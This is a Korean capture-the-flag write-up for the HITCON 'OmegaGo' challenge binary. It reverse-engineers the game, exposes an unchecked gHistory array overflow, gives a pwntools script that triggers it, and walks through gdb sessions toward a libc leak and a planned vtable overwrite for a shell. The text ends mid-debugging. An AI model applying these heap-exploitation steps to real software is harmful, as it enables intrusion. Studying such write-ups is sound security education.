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Infomation

Description

내용

Want to fight with AlphaGo? Beat OmegaGo first.
nc 52.198.232.90 31337


Note: The game rule has been simplified to make life easier.

omega_go 
libc.so.6

Related file

Source Code

Source code


Write Up

OS information

  • 해당 문제는 아래와 같은 환경에서 테스트 하였습니다.
    • 실제 문제가 출제된 서버 환경과 다릅니다.
OS information
lazenca0x0@ubuntu:~/CTF/HITCON/OmegaGo$ lsb_release -a
No LSB modules are available.
Distributor ID:	Ubuntu
Description:	Ubuntu 16.04.3 LTS
Release:	16.04
Codename:	xenial
lazenca0x0@ubuntu:~/CTF/HITCON/OmegaGo$

File information

File information
autolycos@ubuntu:~/CTF/HITCON/OmegaGo$ file omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac 
omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac: ELF 64-bit LSB  executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=6101f150902c6814bd0576f35c60473105a5466e, stripped
autolycos@ubuntu:~/CTF/HITCON/OmegaGo$ checksec.sh --file omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac 
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac
autolycos@ubuntu:~/CTF/HITCON/OmegaGo$ 

Binary analysis

  • 다음과 같은 기능을 제공합니다.
    • 행,열을 번호를 입력하여 원하는 영역에 마크를 표시할 수 있습니다.
      • Ex) A19
    • "surrender"를 이용하여 게임을 포기하고 다시 시작할 수 있습니다.
    • "regret"을 이용하여 플레이를 되돌릴 수 있습니다.
Play game
autolycos@ubuntu:~/CTF/HITCON/OmegaGo$ ./omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac 
   ABCDEFGHIJKLMNOPQRS
19 ...................
18 ...................
17 ...................
16 ...................
15 ...................
14 ...................
13 ...................
12 ...................
11 ...................
10 .........O.........
 9 ...................
 8 ...................
 7 ...................
 6 ...................
 5 ...................
 4 ...................
 3 ...................
 2 ...................
 1 ...................
Time remain: O: 180.00, X: 180.00

A19
   ABCDEFGHIJKLMNOPQRS
19 X..................
18 ...................
17 ...................
16 ...................
15 ...................
14 ...................
13 ...................
12 ...................
11 ...................
10 .........O.........
 9 ...................
 8 ...................
 7 ...................
 6 ...................
 5 ...................
 4 ...................
 3 ...................
 2 ...................
 1 ..................O
Time remain: O: 180.00, X: 173.38

regret
   ABCDEFGHIJKLMNOPQRS
19 ...................
18 ...................
17 ...................
16 ...................
15 ...................
14 ...................
13 ...................
12 ...................
11 ...................
10 .........O.........
 9 ...................
 8 ...................
 7 ...................
 6 ...................
 5 ...................
 4 ...................
 3 ...................
 2 ...................
 1 ...................
Time remain: O: 180.00, X: 180.00
surrender
This AI is too strong, ah?
Play history? (y/n)
y
   ABCDEFGHIJKLMNOPQRS
19 ...................
18 ...................
17 ...................
16 ...................
15 ...................
14 ...................
13 ...................
12 ...................
11 ...................
10 .........O.........
 9 ...................
 8 ...................
 7 ...................
 6 ...................
 5 ...................
 4 ...................
 3 ...................
 2 ...................
 1 ...................
piece O play at J10
Time remain: O: 180.00, X: 180.00

Play again? (y/n)
y
   ABCDEFGHIJKLMNOPQRS
19 ...................
18 ...................
17 ...................
16 ...................
15 ...................
14 ...................
13 ...................
12 ...................
11 ...................
10 .........O.........
 9 ...................
 8 ...................
 7 ...................
 6 ...................
 5 ...................
 4 ...................
 3 ...................
 2 ...................
 1 ...................
Time remain: O: 180.00, X: 180.00

Struct

  • 해당 바이너리를 분석하기 위해 다음과 같은 구조체들이 필요합니다.
    • 해당 바이너리는 C++로 개발되어 있으며 vtable을 사용하고 있습니다.
  • 아래 구조체는 AI Class의 play함수를 표현하는 구조체 입니다.
struct Method
struct __attribute__((aligned(8))) Method
{
  void (__fastcall **Play)(Method *a, GameInfo *state, signed int player_number, uint32_t *row, uint32_t *col);
  _QWORD empty;
};
  • 아래 구조체는 OmegaGo의 게임 정보를 저장하는 구조체 입니다.
struct GameInfo
struct GameInfo
{
  _QWORD board[12];
  _DWORD rowNumber;
  _DWORD colNumber;
  _QWORD player;
  double playTimeForAI;
  double playTimeForHuman;
};

Main()

  • 해당 함수는 while() 함수를 이용하여 MainFunction()함수를 계속 호출합니다.
main()
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  __int64 result; // rax@3
  __int64 v4; // rbx@3
  __int64 v5; // [rsp+8h] [rbp-18h]@1

  v5 = *MK_FP(__FS__, 40LL);
  alarm(0xB4u);
  setvbuf(stdout, 0LL, 2, 0LL);
  while (MainFunction());
  result = 0LL;
  v4 = *MK_FP(__FS__, 40LL) ^ v5;
  return result;
}

MainFunction(0x401738)

  • 해당 함수는 다음과 같은 기능을 합니다.
    • setDefGameinfo() 함수를 통해 게임 진행시 필요한 변수의 초기화를 선언합니다.

    • "operator new(8uLL)" 코드를 이용하여 AI, HUMAN 변수에 Heap 영역(8byte)을 할당합니다.

      • setAIFunction(), setHUMANFunction() 함수를 이용해 할당 받은 영역에 호출할 함수의 주소를 저장합니다.

      • 각 구조체의 Play 포인터 함수에 저장되는 주소는 다음과 같습니다.
        • AI→Play(0x405040)→0x40290A
        • HUMAN→Play(0x405020)→0x402C12
      • 할당된 Heap 영역은 게임을 재시작해도 해제되지 않습니다.
    • while()을 통해 게임을 플레이하기 위한 기능을 실행합니다.

      • gettimeofday() 함수를 이용하여 플레이어의 게임 플레이 시간을 계산합니다.

      • rowNumber, colNumber 의 값이 -1과 같다면 게임을 종료합니다.

      • rowNumber, colNumber 의 값이 -2일 경우에는 게임 턴을 한차례 돌리는 regret()함수를 호출합니다.
      • 그외의 rowNumber, colNumber 값이 입력 되면 플레이어의 플레이시간을 저장합니다.
        • 총 플레이시간이 0.0보다 작으면 게임을 종료합니다.
        • 총 플레이시간이 0.0보다 크면 SetMarkForBoard()함수를 이용하여 게임 보드 rowNumber,colNumber 위치에 표시합니다.
MainFunction()
__int64 OmegaGo()
{
  Method *AI; // rbx
  Method *HUMAN; // rbx
  unsigned int rowNumber; // [rsp+Ch] [rbp-64h]
  unsigned int colNumber; // [rsp+10h] [rbp-60h]
  int playerNum; // [rsp+14h] [rbp-5Ch]
  double playTime; // [rsp+18h] [rbp-58h]
  struct timeval startTime; // [rsp+20h] [rbp-50h]
  struct timeval endTime; // [rsp+30h] [rbp-40h]
  Method *player[2]; // [rsp+40h] [rbp-30h]
  unsigned __int64 v10; // [rsp+58h] [rbp-18h]

  v10 = __readfsqword(0x28u);
  setDefGameinfo();
  playerNum = 1;
  AI = (Method *)operator new(8uLL);
  AI->Play = 0LL;
  setAIFunction(AI);
  player[0] = AI;
  HUMAN = (Method *)operator new(8uLL);
  HUMAN->Play = 0LL;
  setHUMANFunction(HUMAN);
  player[1] = HUMAN;
  while ( !((unsigned __int8)sub_401202(playerNum, &gPlayerGameInfo) ^ 1) )
  {
    gettimeofday(&startTime, 0LL);
    (*player[playerNum - 1]->Play)(player[playerNum - 1], &gPlayerGameInfo, playerNum, &rowNumber, &colNumber);
    gettimeofday(&endTime, 0LL);
    playTime = (double)(LODWORD(endTime.tv_usec) - LODWORD(startTime.tv_usec)) / 1000000.0
             + (double)(LODWORD(endTime.tv_sec) - LODWORD(startTime.tv_sec));
    if ( rowNumber == -1 || colNumber == -1 )
      break;
    if ( rowNumber != -2 && colNumber != -2 )
    {
      *(double *)&gPlayerGameInfo.board[playerNum - 1 + 14LL] = *(double *)&gPlayerGameInfo.board[playerNum - 1 + 14LL]
                                                              - playTime;
      if ( *(double *)&gPlayerGameInfo.board[playerNum - 1 + 14LL] < 0.0 )
        print("Time's up");
      SetMarkForBoard(&gPlayerGameInfo, rowNumber, colNumber, playerNum, 0);
      playerNum ^= 3u;
    }
    else if ( (unsigned __int8)regret() ^ 1 )
    {
      print("No you cant't");
    }
  }
  CheckResults();
  PlayHistory();
  return PlayAgain();
}

UserInput(HUMAN→Play(0x405020)→0x402C12)

  • 해당 함수는 다음과 같은 기능을 합니다.

    • callPrintBoard() 함수에 의해 Borad가 출력됩니다.

    • scanf() 함수를 이용해 사용자로 부터 좌표 값 또는 명령어를 입력 받습니다.

      • 특이한 부분은 다음과 같습니다.

        • 입력 받은 내용을 gCmd(0x60943C) 전역 변수에 저장

        • 10개의 문자를 입력 받지만 sscanf()함수에 의해 1개의 문자,1개의 숫자값을 사용

    • 입력 받은 명령어에 따라 다음과 같이 값을 설정합니다.

      • surrender : col = -1, row = -1

      • regret : col = -2, row = -2

    • 명령어가 아닐 경우 좌표 값이 저장됩니다.
UserInput()
unsigned __int64 __fastcall UserInput(__int64 a1, GameInfo *gameInfo, __int64 playerNum, signed int *row, signed int *col)
{
  bool areaOverflow; // al
  char chCol; // [rsp+37h] [rbp-9h]
  unsigned __int64 v10; // [rsp+38h] [rbp-8h]

  v10 = __readfsqword(0x28u);
  callPrintBoard(gameInfo);
  memset(gCmd, 0, 0xCuLL);
  if ( scanf("%10s", gCmd) != 1 )
    print("Er?");
  if ( !strcmp("surrender", gCmd) )
  {
    *col = -1;
    *row = *col;
  }
  else if ( !strcmp("regret", gCmd) )
  {
    *col = -2;
    *row = *col;
  }
  else
  {
    if ( sscanf(gCmd, "%c%d", &chCol, row) != 2 )
      print("Input like 'A19'");
    *col = chCol - 65;
    *row = 19 - *row;
    areaOverflow = (unsigned __int8)checkBoardArea(*row) ^ 1 || (unsigned __int8)checkBoardArea(*col) ^ 1;
    if ( areaOverflow )
      print("No overflow plz.");
  }
  return __readfsqword(0x28u) ^ v10;
}

SetMarkForBoard

  • 해당 함수는 다음과 같은 기능을 합니다.

    • player 변수의 값을 이용해 플레이어의 마크를 결정합니다.

    • saveMarkofBoard() 함수와 마크를 저장할 좌표 값(row, col)을 이용해gameinfo.Board[] 영역에 값을 저장합니다.

    • 각종 함수를 이용해 플레이어가 마크를 저장하길 원하는 위치 값이 타당한지 확인합니다.

      • CheckBoardArea(), GetMarkForBoard(), checkLocation(), ...

    • 입력한 위치 값이 정상적이지 않으면 메시지를 출력하고 프로그램을 종료합니다.

    • 입력한 위치 값이 정상적이라면 해당 gameInfo를 gHistory[]에 저장합니다.

      • "operator new(0x80)" 코드에 의해 Heap 영역을 할당합니다.

      • 할당된 Heap 영역의 주소 값을 gHistory[]변수에 저장합니다.

      • 즉, 사용자가 입력한 좌표 값이 Heap 영역에 저장됩니다.

  • 취약성은 여기서 발생합니다.

    • GameInfo 구조체를 사용하는 gHistory[]의 크기는 364 입니다.

    • gHistory[] 배열에 저장된 번호가 364를 넘는지에 대한 확인이 없습니다.

    • 유저가 입력한 값이 364회가 넘으면 gPlayerGameInfo 전역 변수에 Heap address가 Overflow됩니다.

    • 즉, 사용자가 입력한 위치 값에 의해 Heap address를 변경 할 수 있습니다.

SetMarkForBoard()
signed __int64 __fastcall SetMarkForBoard(GameInfo *gameinfo, unsigned int inputRow, unsigned int inputCol, int player, unsigned __int8 printOpt)
{
  signed __int64 result; // rax
  signed int mark; // eax MAPDST
  bool v7; // al
  GameInfo *historyCount; // rax
  GameInfo *saveGameInfo; // ST30_8
  signed int i; // [rsp+24h] [rbp-2Ch]
  unsigned int row; // [rsp+28h] [rbp-28h]
  unsigned int col; // [rsp+2Ch] [rbp-24h]

  if ( (unsigned __int8)GetMarkForBoard((__int64)gameinfo, inputRow, inputCol) == '.' )
  {
    if ( player == 1 )
      mark = 'O';
    else
      mark = 'X';
    saveMarkofBoard((__int64)gameinfo, inputRow, inputCol, mark);
    gameinfo->rowNumber = inputRow;
    gameinfo->colNumber = inputCol;
    for ( i = 0; i <= 3; ++i )
    {
      row = dword_404FE0[i] + inputRow;
      col = dword_404FF0[i] + inputCol;
      v7 = (unsigned __int8)CheckBoardArea(row) ^ 1 || (unsigned __int8)CheckBoardArea(col) ^ 1;
      if ( !v7
        && (char)GetMarkForBoard((__int64)gameinfo, row, col) == 0xA7 - mark
        && (unsigned int)checkLocation((__int64)gameinfo, row, col) == 0 )
      {
        sub_4024C2((__int64)gameinfo, row, col);
      }
    }
    if ( (unsigned int)checkLocation((__int64)gameinfo, inputRow, inputCol) == 0 )
    {
      if ( !printOpt )
        print("Why you do this :((");
      result = 0LL;
    }
    else if ( (unsigned __int8)sub_402528((__int64)gameinfo, printOpt) )
    {
      if ( !printOpt )
        print("Wanna Ko Fight?");
      result = 0LL;
    }
    else
    {
      if ( printOpt != 1 )
      {
        LODWORD(gameinfo->player) = mark;
        historyCount = (GameInfo *)operator new(0x80uLL);
        *historyCount = *gameinfo;
        saveGameInfo = historyCount;
        LODWORD(historyCount) = gHistoryCount++;
        gHistory[(signed int)historyCount] = saveGameInfo;
      }
      result = 1LL;
    }
  }
  else
  {
    if ( !printOpt )
      print("You cheater!");
    result = 0LL;
  }
  return result;
}

regret()

  • 해당 함수는 다음과 같은 기능을 합니다.

    • historyCnt변수의 값이 0 일 경우 해당 함수는 종료됩니다.

    • historyCnt변수의 값이 0 아닐 경우 다음과 같은 코드를 실행합니다.

      • DeletePlayHistory() 함수를 이용해 gHistory[] 에 맨 마지막에 플레이한 GameInfo를 삭제 합니다.

        • AI, Human의 플레이 기록을 삭제합니다.

      • AI가 마지막에 플레이한 GameInfo를 추출해 gPlayerGameInfo에 저장합니다.

    • 여기서도 악용 할 수 있는 코드가 있습니다.

      • 앞에서 설명한 취약성에 의해 gPlayerGameInfo 전역 변수(gHistory[365]) 에 Heap address가 Overflow됩니다.

      • 사용자 입력 값을 이용해 gPlayerGameInfo 전역 변수(gHistory[365])에 저장된 Heap address를 변경합니다.

        • gHistory[365] : 변경된 Heap address

        • gHistory[366] : Heap address

        • gHistory[367] : Heap address

      • regret() 함수가 호출되면 "history = (GameInfo *)::gHistory[historyCnt - 1];" 코드에 의해 "변경된 Heap address"를 기준으로 GameInfo를 출력하게 됩니다.
      • 즉, 해당 취약성을 이용해 Libc address를 출력 할 수 있습니다.
regret()
signed __int64 __cdecl regret()
{
  GameInfo *history; // rax

  if ( historyCnt <= 1 )
    return 0LL;
  DeletePlayHistory();                          // AI play history
  DeletePlayHistory();                          // Human play history
  if ( ::gHistory[historyCnt - 1] )
  {
    history = (GameInfo *)::gHistory[historyCnt - 1];
    gPlayerGameInfo.board[0] = history->board[0];
    gPlayerGameInfo.board[1] = history->board[1];
    gPlayerGameInfo.board[2] = history->board[2];
    gPlayerGameInfo.board[3] = history->board[3];
    gPlayerGameInfo.board[4] = history->board[4];
    gPlayerGameInfo.board[5] = history->board[5];
    gPlayerGameInfo.board[6] = history->board[6];
    gPlayerGameInfo.board[7] = history->board[7];
    gPlayerGameInfo.board[8] = history->board[8];
    gPlayerGameInfo.board[9] = history->board[9];
    gPlayerGameInfo.board[10] = history->board[10];
    gPlayerGameInfo.board[11] = history->board[11];
    *(_QWORD *)&gPlayerGameInfo.rowNumber = *(_QWORD *)&history->rowNumber;
    gPlayerGameInfo.player = history->player;
    gPlayerGameInfo.playTimeFor[0] = history->playTimeFor[0];
    gPlayerGameInfo.playTimeFor[1] = history->playTimeFor[1];
  }
  return 1LL;
}

DeletePlayHistory

  • 해당 함수는 다음과 같은 기능을 합니다.
    • gHistory[]에 저장된 heap 영역을 해제합니다.
DeletePlayHistory()
unsigned __int64 DeletePlayHistory()
{
  __int64 v1; // [rsp+0h] [rbp-10h]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  if ( gHistory[historyCnt - 1] )
  {
    v1 = sub_401EB6((GameInfo *)gHistory[historyCnt - 1]);
    operator delete(gHistory[historyCnt - 1]);
    sub_402FE6(&unk_607220, &v1);
    --historyCnt;
  }
  return __readfsqword(0x28u) ^ v2;
}

Debuging

Overflow

  • 다음과 같은 코드를 이용하여 gameInfo 전역 변수의 값을 Overflow할 수 있습니다.
Overflow for gameInfo
from pwn import *

#context.log_level = 'debug'

col_list = ['A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S']

p = process('omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac')

def Play(location):
	p.recvuntil('\n\n')
	p.sendline(location)


def Fill(colStart, colEnd, row):
	for colNum in range(col_list.index(colStart),col_list.index(colEnd)+1):
		locate = str(col_list[colNum])
		locate += str(row)
		Play(locate)


Fill('B','S',11)
for count in reversed(range(1,9)):
    Fill('A','S',count)
Fill('A','A',11)
Fill('A','K',12)

p.interactive()
  • 디버깅 전에 각 전역 변수의 위치를 알아야 합니다.
    • gGameInfo : 0x609FC0
    • gHistory : 0x609460
    • gPlayerGameInfo Address(0x609FC0) - gHistory(0x609460) = 0xb60(2912) / 0x8(address len) = 364
  • 다음은 디버깅을 통해 확인한 내용입니다.
    • gPlayerGameInfo(0x609fc0) 전역 변수에 heap address(0x609fc0)값이 저장된 것을 확인 할 수 있습니다.
overflow for gameInfo
lazenca0x0@ubuntu:~/CTF/HITCON/OmegaGo$ gdb -q -p 3491
Attaching to process 3491

gdb-peda$ x/gx 0x609FC0
0x609fc0:	0x0000000000b94da0
gdb-peda$ x/10gx 0x609FC0
0x609fc0:	0x0000000000b94da0	0x0000000000000000
0x609fd0:	0x0000000000000000	0x0000000000000000
0x609fe0:	0xaaaa0000aaaaa800	0x50000100002aaaaa
0x609ff0:	0x5554000155555555	0x0000000000000055
0x60a000:	0x0000000000000000	0x0000000000000000
  • 해당 Overflow를 통해 출력되는 Board의 내용이 변경된 것을 확인 할 수 있습니다.
    • 우리는 해당 정보를 이용하여 heap address를 추출 할 수 있습니다.
Board
lazenca0x0@ubuntu:~/CTF/HITCON/OmegaGo$ python test.py 
[!] Cold not find executable 'omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac' in $PATH, using './omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac' instead
[+] Starting local process './omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac': pid 3491
[*] Switching to interactive mode
   ABCDEFGHIJKLMNOPQRS
19 ..XXO\x00.OOX\x00X.......
18 ...................
17 ...................
16 ...................
15 ...................
14 ...................
13 ...................
12 XXXXXXXXXXX........
11 XXXXXXXXXXXXXXXXXXX
10 .........O.........
 9 OOOOOOOOOOOOOOOOOOO
 8 ........OOOOOOOOOOO
 7 ...................
 6 ...................
 5 ...................
 4 ...................
 3 ...................
 2 ...................
 1 ...................
Time remain: O: 180.00, X: 179.84

$  

Decode

  • 화면에 출력된 Address를 해석하기 위해서는 Board에 저장되는 Mark의 값이 어떻게 관리 되는지 확인이 필요합니다.
  • 다음과 같이 유저가 좌표 값을 입력하면 메모리 값은 다음과 같이 변경됩니다.
    • 유저가 입력한 값은 0x609fc0 영역에 0x2가 저장됩니다.

    • 컴퓨터가 입력한 값은 0x60a01A 영역에 0x1가 저장됩니다.

Coordinates input
lazenca0x0@ubuntu:~/CTF/HITCON/OmegaGo$ gdb -q ./omega*
Reading symbols from ./omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac...(no debugging symbols found)...done.
gdb-peda$ r
Starting program: /home/lazenca0x0/CTF/HITCON/OmegaGo/omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac 

...Print board...
Time remain: O: 180.00, X: 180.00

A19

...Print board...
Time remain: O: 180.00, X: 171.04

^C
Program received signal SIGINT, Interrupt.

gdb-peda$ x/12gx 0x609FC0
0x609fc0:	0x0000000000000002	0x0000000000000000
0x609fd0:	0x0000000000000000	0x0000000000000000
0x609fe0:	0x0000000000000000	0x0000010000000000
0x609ff0:	0x0000000000000000	0x0000000000000000
0x60a000:	0x0000000000000000	0x0000000000000000
0x60a010:	0x0000000000000000	0x0000000000010000
gdb-peda$ 
  • 다음과 같이 추가적인 메모리의 변화를 확인합니다.
    • 사용자 입력을 통해 19행을 모두 채우면 메모리에 다음과 같이 저장됩니다.

      • 유저가 입력한 값은 0x2aaaaaaaaa 입니다.

      • 컴퓨터가 입력한 값은 0x01555555555 입니다.

Fill in line 19
   ABCDEFGHIJKLMNOPQRS
19 XXXXXXXXXXXXXXXXXXX
18 ...................
17 ...................
16 ...................
15 ...................
14 ...................
13 ...................
12 ...................
11 ...................
10 .........O.........
 9 ...................
 8 ...................
 7 ...................
 6 ...................
 5 ...................
 4 ...................
 3 ...................
 2 ...................
 1 OOOOOOOOOOOOOOOOOOO
Time remain: O: 180.00, X: 141.02

^C
Program received signal SIGINT, Interrupt.
0x00007ffff75e66b0 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:81
81	../sysdeps/unix/syscall-template.S: No such file or directory.
gdb-peda$  x/12gx 0x609FC0
0x609fc0:	0x0000002aaaaaaaaa	0x0000000000000000
0x609fd0:	0x0000000000000000	0x0000000000000000
0x609fe0:	0x0000000000000000	0x0000010000000000
0x609ff0:	0x0000000000000000	0x0000000000000000
0x60a000:	0x0000000000000000	0x0000000000000000
0x60a010:	0x5555500000000000	0x0000000000015555
gdb-peda$ 
  • Board에 저장되는 값을 다음과 같은 방법으로 관리됩니다.
    • Board영역에 저장되는 값을 bit를 이용해 저장될 값을 결정합니다.
    • 다음과 같은 bit값을 이용해 player를 구분합니다.
      • AI : 10 bit
      • Humman : 01bit
Mark

Mark /

Player

X / O

X. / O.

XX / OO

bithexbithexbithex

AI

10

0x2

10000x8

1010

0xA

Humman

01

0x1

01000x4

0101

0x5
  • 이러한 정보를 이용하여 다음과 같은 복호화 도구를 작성할 수 있습니다.
Decode()
def decode(offset):
    bit_offset = offset * 8
    data = ''.join(board)
    result = 0
    for i in xrange(32):
        states = '.OX\0'
        val = states.index(data[bit_offset + i])
        result |= val << (i * 2)
    return result

Structure of Exploit code

  • Payload의 순서는 다음과 같습니다.
Payload 순서
  1. Leak Libc Address
  2. Overwrite the Computer Class
  3. Overwrite the vtable
  • 이를 조금더 자세하게 설명하면 다음과 같습니다.
상세 설명
  1. LeakLibcAddress
    1. Overwrites gameInfo data
    2. Heap address change
    3. Deletes the allocated heap memory.
  2. Overwrite the Computer Class
    1. Memory reallocation
    2. Create a UAF vulnerability(Fake chunk)
    3. Heap address change
    4. Deletes the allocated heap memory.
  3. Overwrite the vtable
    1. execve("/bin/sh")
  • payload를 바탕으로 공격을 위해 알아내어야 할 정보는 다음과 같습니다.
확인해야 할 정보 목록
  • Leak libc address
  • Fake chunk
  • execve("/bin/sh")
  • 다음과 같은 구조로 shell을 획득합니다.

vtable

void (__fastcall *Play)void (__fastcall *Play)

AI

Heap address

0x4050400x40290A
AIHeap address(UAF)gCmd(0x60943C) 전역 변수User input(Call One gadget)

Information for attack

Leak Libc address

  • 다음과 같이 "regret"기능을 이용해 Heap 영역에 "main_arena.top" 영역의 주소를 저장 할 수 있습니다.
    • 사용자가 위치 값을 입력하면 GameInfo(0x80)를 생성해서 gHistory[]에 저장합니다.
      • AI GameInfo : 0x61d220
      • HUMAN GameInfo : 0x61d160
    • AI,HUMAN GameInfo 사이에 크기가 0x20인 Heap 영역이 할당되어 있습니다.
      • Heap address : 0x61d1f0
gHistory[] info
lazenca0x0@ubuntu:~/CTF/HITCON/OmegaGo$ gdb -q ./omega*
Reading symbols from ./omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac...(no debugging symbols found)...done.
gdb-peda$ r
Starting program: /home/lazenca0x0/CTF/HITCON/OmegaGo/omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac 
   ABCDEFGHIJKLMNOPQRS

...Print board...

Time remain: O: 180.00, X: 180.00
A19
   ABCDEFGHIJKLMNOPQRS

...Print board...

Time remain: O: 180.00, X: 176.49

^C
Program received signal SIGINT, Interrupt.
gdb-peda$ x/4gx 0x609460
0x609460:	0x000000000061cc90	0x000000000061d160
0x609470:	0x000000000061d220	0x0000000000000000
gdb-peda$ x/4gx 0x000000000061d160 - 0x10
0x61d150:	0xb3c74b70123a5ec4	0x0000000000000091
0x61d160:	0x0000000000000002	0x0000000000000000
gdb-peda$ x/4gx 0x000000000061d220 - 0x10
0x61d210:	0x91f146e6557b6e4a	0x0000000000000091
0x61d220:	0x0000000000000002	0x0000000000000000
gdb-peda$ x/4gx 0x61d1e0
0x61d1e0:	0xf90d94745f8a1984	0x0000000000000031
0x61d1f0:	0xeeda74e900000001	0x0000000000607228
gdb-peda$ 
  • "regret" 기능을 호출하게되면 gHistory[]의 맨 마지막에 저장된 2개의 GameInfo를 삭제합니다.
    • 분석을 위해 "0x4015CE" 영역에 Break point를 설정합니다.
    • AI GameInfo(0x61d220) 영역이 해제되면 해당 영역이 Top chunk가 됩니다.

      • 0x61d210 영역이 main_arena의 top 영역에 저장됩니다.
    • HUMAN GameInfo(0x61d160) 영역이 해제되면 해당 영역은 Unsorted chunk가 됩니다.
      • 0x61d150 영역이 main_arena.bin[0], [1] 영역에 저장됩니다.
      • Unsorted chunk(0x61d150)의 fd, bk 영역에 main_arena.top의 주소 값이 저장됩니다.
Create libc address
gdb-peda$ b *0x4015CE
Breakpoint 1 at 0x4015ce
gdb-peda$ c
Continuing.
regret
Breakpoint 1, 0x00000000004015ce in ?? ()
gdb-peda$ i r rdi
rdi            0x61d220	0x61d220
gdb-peda$ p main_arena.top
$1 = (mchunkptr) 0x61d210
gdb-peda$ c
Continuing.

Breakpoint 1, 0x00000000004015ce in ?? ()
gdb-peda$ i r rdi
rdi            0x61d160	0x61d160
gdb-peda$ ni
gdb-peda$ p main_arena.bins[0]
$2 = (mchunkptr) 0x61d150
gdb-peda$ p main_arena.bins[1]
$3 = (mchunkptr) 0x61d150
gdb-peda$ 
gdb-peda$ x/4gx 0x61d150
0x61d150:	0xb3c74b70123a5ec4	0x0000000000000091
0x61d160:	0x00007ffff7839b78	0x00007ffff7839b78
gdb-peda$ 
  •  gPlayerGameInfo에 저장된 값(Heap address)을 변경하기 전에 중요한 부분이 있습니다.
    • 그것은 바로 gPlayerGameInfo에 저장된 값(Heap address) 입니다.
      • 해당 프로그램은 2bit를 이용해 HUMAN,AI의 표시를 구분합니다.
    • 다음으로 중요한 것은 사용자 입력값에 의해 2bit 모두 1이 될 수 없습니다.
    • 즉, 사용자 입력 값으로 gPlayerGameInfo에 저장된 값을 변경하는데 제약이 있다는 것입니다.
  • 다음은 gPlayerGameInfo 전역변수에 0x61cc90 값이 저장되어 있을 경우 입니다.
    • 해당 주소를 bit로 변경하면 "0110 0001 1100 1100 1001 0000"이 됩니다.
    • 여기서 사용자가 값을 입력 할 수 있는 부분은 다음과 같습니다.
      • bit의 값이 "00"인 부분만 값을 저장 할 수 있습니다.
      • "0110 0001 1100 1100 1001 0000"
    • gPlayerGameInfo 전역변수에 저장되는 주소 값을 변경하기 위해서 surrender() 함수를 호출하는 것으로 해결 할 수 있습니다.
      • surrender() 함수를 호출하면 게임이 재설정됩니다.
      • 재설정이 이전에 사용하던 AI, HUMAN Class 의 vtable 영역은 해제가 되지 않기 때문에 gPlayerGameInfo 전역변수에 저장되는 Heap 주소가 변경됩니다.
  • 다음과 같은 방법으로 gPlayerGameInfo에 저장된 값(Heap address)을 변경할 수 있습니다.
    • Script를 이용해 gHistory[]영역에 GameInfo를 365개를 저장합니다.
      • 이로 인해 gPlayerGameInfo의 board[0] 영역에 Heap 영역이 저장됩니다.
        • gPlayerGameInfo(0x609fc0) : 0x1c88e30
      • gPlayerGameInfo 영역에 저장된 Heap 주소 값은 사용자 입력 값으로 변경 할 수 있습니다.
    • 사용자 입력 값으로 "D19"를 입력합니다.
      • 해당 값으로 인해 gPlayerGameInfo에 저장된 Heap 주소가 "0x1c88e30" 에서 "0x1c88eb0"으로 변경되었습니다.
        • "0x1c88e30" + "0x80" = 0x1c88eb0
Change the Heap address.
lazenca0x0@ubuntu:~$ gdb -p 4425
gdb-peda$ x/4gx 0x609FC0
0x609fc0:	0x0000000001c88e30	0x0000000000000000
0x609fd0:	0x0000000000000000	0x0000000000000000
gdb-peda$ b *0x4015CE
Breakpoint 1 at 0x4015ce
gdb-peda$ c
Continuing.

Input "D19"

gdb-peda$ x/4gx 0x609FC0
0x609fc0:	0x0000000001c88eb0	0x0000000001c88ef0
0x609fd0:	0x0000000001c88fb0	0x0000000000000000

gdb-peda$ p/x 0x1c88e30 + 0x80
$1 = 0x1c88eb0
gdb-peda$ 
  • 다음과 같은 방법으로 Unsorted chunk의 fd, bk영역에 저장된 main_arena.top의 주소 값 출력 할 수있습니다.
    • "regret" 기능을 호출하면 gHistory[] 배열의 마지막에 저장된 2개의 Heap 영역이 해제됩니다.
      • 앞에서 설명했듯이 HUMAN GameInfo(0x1c88ef0) 영역이 Unsorted chunk됩니다.
      • Unsorted chunk(0x1c88ee0)의 fd, bk 영역에 main_arena.top의 주소 값이 저장됩니다.
        • fd(0x1c88ef0) : 0x7f4b7d233b78
        • bk(0x1c88ef8) : 0x7f4b7d233b78
    • regret() 함수는 gHistory[365]에 저장된 주소(0x1c88eb0)를 이용해 GameInfo를 gPlayerGameInfo 전역 변수에 저장합니다.
      • 즉, Unsorted chunk(0x1c88ee0)의 fd, bk 영역이 출력됩니다.
      • 해당 값을 앞에서 작성한 Decode() 함수를 이용해 해석 할 수 있습니다.
Leak libc address
gdb-peda$ c
Continuing.
Breakpoint 1, 0x00000000004015ce in ?? ()
gdb-peda$ c
Continuing.


Breakpoint 1, 0x00000000004015ce in ?? ()
gdb-peda$ ni
gdb-peda$ x/4gx 0x1c88ef0 - 0x10
0x1c88ee0:	0x33bb5de964b6f848	0x0000000000000091
0x1c88ef0:	0x00007f4b7d233b78	0x00007f4b7d233b78
gdb-peda$ p/x 0x1c88ef0 - 0x1c88eb0
$2 = 0x40
gdb-peda$ c
Continuing.
^C
Program received signal SIGINT, Interrupt.
0x00007f4b7cf66230 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:84
84	in ../sysdeps/unix/syscall-template.S
gdb-peda$ x/12gx 0x609FC0
